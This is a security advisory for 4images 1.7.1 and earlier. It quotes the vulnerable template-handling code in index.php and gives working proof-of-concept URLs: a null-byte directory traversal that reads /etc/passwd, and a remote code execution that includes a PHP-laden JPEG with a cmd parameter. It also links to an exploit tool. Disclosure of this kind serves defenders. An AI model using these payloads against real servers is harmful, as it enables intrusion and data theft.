4images.txt

`----------------- 4images <=1.7.1 remote code execution ------------------------  
software:  
site: http://www.4homepages.de/  
--------------------------------------------------------------------------------  
i)  
vulnerable code in index.php at line 35-54:  
  
...  
if (isset($HTTP_GET_VARS['template']) || isset($HTTP_POST_VARS['template'])) {  
$template = (isset($HTTP_GET_VARS['template'])) ? stripslashes(trim($HTTP_GET_VARS['template'])) : stripslashes(trim($HTTP_POST_VARS['template']));  
if (!file_exists(TEMPLATE_PATH."/".$template.".".$site_template->template_extension)) {  
$template = "";  
}  
else {  
$main_template = $template;  
}  
}  
else {  
$template = "";  
}  
include(ROOT_PATH.'includes/page_header.php');  
if (!empty($template)) {  
$clickstream = "<a href=\"".$site_sess->url(ROOT_PATH."index.php")."\">".$lang['home']."</a>".$config['category_separator'].str_replace("_", " ", ucfirst($template));  
$site_template->register_vars("clickstream", $clickstream);  
$site_template->print_template($site_template->parse_template($main_template));  
include(ROOT_PATH.'includes/page_footer.php');  
}  
...  
  
poc:  
  
http://[target]/[path]/index.php?template=../../../../../../../../../../../etc/passwd%00  
  
This is regardless of magic_quotes_gpc settings because we have stripslashes on  
"template" argument (this is exploitable on PHP 4, because file_exists()  
function suffers of null char injection...)  
File comptemt is passed to an eval() in includes/template.php, so it is  
evaluated as php code.  
  
Also we can upload malicious php code through 4images functionalities inside a  
.jpg file with well crafted EXIF metadata comtempt.  
Example of remote code execution:  
  
http://[target]/[path]/index.php?cmd=ls%0-la&template=../../data/tmp_media/suntzu1293.jpg%00  
  
a php exploit tool availiable here:  
  
http://retrogod.altervista.org/4images_171_incl_xpl.html  
  
--------------------------------------------------------------------------------  
still a note about:  
  
http://secunia.com/advisories/19026/  
  
Secunia wrote: "Input passed to the "template" parameter in "index.php" isn't  
properly verified, before it is used to include files. This can be exploited to  
include files having the template file extension (".html") from local resources  
via directory traversal attacks"  
  
and classified it as low risk... this is true on PHP5 but not on PHP4 where you  
can break the .html extension by a null char  
  
--------------------------------------------------------------------------------  
rgod  
  
site: http://retrogod.altervista.org  
mail: rgod at autistici.org  
original advisory: http://retrogod.altervista.org/4images_171_adv.html  
--------------------------------------------------------------------------------  
  
  
`